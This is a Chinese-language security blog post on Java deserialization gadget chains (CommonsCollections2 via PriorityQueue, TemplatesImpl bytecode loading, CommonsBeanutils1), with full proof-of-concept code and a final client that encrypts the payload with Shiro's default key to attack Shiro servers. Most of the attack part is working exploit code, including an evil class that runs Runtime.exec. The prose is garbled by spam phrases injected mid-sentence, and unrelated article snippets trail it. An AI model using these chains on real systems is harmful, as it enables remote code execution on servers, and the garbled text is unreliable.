Java 利用PriorityQueue进行无InvokerTransformer反序列化
java_PriorityQueue
java.util.PriorityQueue 是利用列化一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。行无其中PriorityQueue有自己的反序readObject反序列化入口 。
反序列化链为 :PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator.compare()。利用列化当comparator为TransformingComparator对象时 ,行无能触发transform()方法 :

至于PriorityQueue的反序heapify() 、siftDown() 、利用列化siftDownUsingComparator()的行无用处就是恢复排序、节点下移和比较元素大小。反序而Comparator则是利用列化定义了两个对象用什么方式比较
CC2TransformingComparator
结合CC2的利用方式 ,源码下载就是行无向TransformingComparator传入恶意Transformer 。
复制Comparator comparator = new TransformingComparator(transformerChain);1.再用priorityQueue触发comparator:
复制PriorityQueue queue = new PriorityQueue(2,反序 comparator);queue.add(1);queue.add(2);1.2.3.可以add任何非null对象 ,因为触发transform与队列参数无关(比较的利用列化是1,2,比较方式为comparator.compare())
POC : 复制package org.example;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class CC2TransformingComparator { public static void setFieldValue(Object obj,行无 String fieldName,Object
value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null,new
Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), }; Transformer transformerChain =new
ChainedTransformer(fakeTransformers); Comparator comparator =new
TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(2); setFieldValue(transformerChain, "iTransformers", transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.测试结果 :

TemplatesImpl无数组TransformingComparator
用TemplatesImpl字节码的方式也能进行利用,并且还能用于shiro的反序无数组链:
同样的向TransformingComparator传入恶意Transformer ,这次传的是InvokerTransformer,而非transformerChain数组
复制Comparator comparator = new TransformingComparator(transformer);1.触发comparator的方式还是高防服务器实例化PriorityQueue对象
复制PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(obj);queue.add(obj);1.2.3.为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key

TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()

但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了 。进入templatesImpl对象的newTransformer()入口的方式变为:
PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()
只需要compare()时对象为恶意InvokerTransformer

恶意字节码类:
复制package evil;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class EvilTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public EvilTemplatesImpl() throws Exception { super(); System.out.println("Hello TemplatesImpl"); Runtime.getRuntime().exec("calc.exe"); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.POC:
复制package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class ShiroTransformingComparator { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } protected static byte[] getBytescode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName()); return clazz.toBytecode(); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ getBytescode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Comparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(obj); queue.add(obj); setFieldValue(transformer, "iMethodName", "newTransformer"); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.45.46.47.48.49.50.51.52.53.54.55.
在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer 、香港云服务器InvokerTransformer、PrototypeFactory等)的readObject进行调用 ,4.1这几个类直接不再实现Serilalizable接口
CommonsBeanutil
javaBean的介绍:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
从中可以了解到getter、setter、属性的概念。
在上文 ,我们用PriorityQueue#compare()来触发TransformingComparator#transform() 。除了这种方式外,还有org.apache.commons.beanutils.BeanComparator.compare()
BeanComparator.compare()方法代码如下 :

其中的getProperty方法可以调用任意javaBean的getter方法(形如getName)。
复制Object value1 = PropertyUtils.getProperty(o1,this.property);1.该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");
现在反序列化链为 :
BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
getOutputProperties()符合getter的定义 ,模板下载所以property(属性名)的值为OutputProperties时 ,触发反序列化链。PriorityQueue队列和property的值可以用反射的方式修改。
复制setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{ obj, obj});1.2.POC:
复制package org.example;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;public class CommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "godown"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(); PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);//stub data for replacement later
queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{ obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.
那么这条链跟上面那个只用到了priorityQueue的区别在哪 ?
好像只是反序列化的入口从newInstance变成了getOutputProperties?
正是因为不再需要newInstance作为入口,也就不再需要Invokertransformer进行调用。也就是
PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉 ,转而换成:
PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()
因此3.2.2和4.1就能开心的拿着这个payload去打
不需要CC库的源码库shiroCommonBeanutils
shiro本身依赖commons-beautils库 。所以上面的payload可以直接改造用来打shiro。
如果本地commons-beanutils和服务器shiro的CB版本不一样的话 ,serialVersionUID就会不同,也就不兼容。也就是打的时候需要把本地commons-beanutils改成和服务器一样的版本
那服务端没有commons-collections库的时候呢?
在new BeanComparator时,BeanComparator构造函数使用了ComparableComparator

而这个类来自commons.collections ,所以要避开使用这个缺省参数。也就是云计算要找到一个类有comparator接口和serializable接口

CaseInsensitiveComparator不仅实现了上面两个接口,还在java.lang.String下。而且用getOutputProperties的方式调用是不需要用到恶意comparator的 ,只需要恶意property
所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
POC:
复制package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class ShiroCommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName,Object
value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);//stub data for replacement later
queue.add("1"); queue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{ obj, obj});// ==================//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.转字节码打shiro poc:
复制package org.example;import javassist.ClassPool;import javassist.CtClass;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;public class Clientattack { public static void main(String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(org.example.ShiroCommonsBeanutils1.class.getName()); byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.

参考:phith0n《java安全漫谈(16、17)》
相关文章
在大流行后的复苏世界中,互联性和数字化继续以前所未有的速度加速。随着先进技术的渗透和工业设备的互联,组织越来越依赖运营技术(OT)来保持业务运营和竞争力。此外,在许多情况下,这些进步已经成为推动新收入2025-12-07
近日,网络安全研究人员发现一组异常的移动应用程序,这些应用程序向民众公开了 TwitterAPI 密钥,据统计,此类应用程序多达 3200 个。网络安全公司CloudSEK首次发现了这一问题,该公司在2025-12-07
信息安全在过去是引人深思的话题,现在已经成为关键环节,而在未来将成为决定性因素。有些行动必须在微观/个人层面解决,但在行业层面,我们必须合作解决,共同应对这些前进过程中的挑战。经济安全中很明确指出了:2025-12-07
反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。什么是反2025-12-07
译者 | 陈峻审校 | 重楼为了访问自己的数字账户,我们通常需要用到密码或口令。不过,正如现实生活中开锁的钥匙可能并不总是牢靠一样,并非所有的密码都是安全的。为了加强在线防御,安全专家开发了一系列技术2025-12-07
绝大多数的安全团队都认为他们的电子邮件安全系统对于目前最严重的网络威胁攻击是无效的,包括勒索病毒。这是由Cyren委托Osterman Research对使用Microsoft 365电子邮件的企业客2025-12-07

最新评论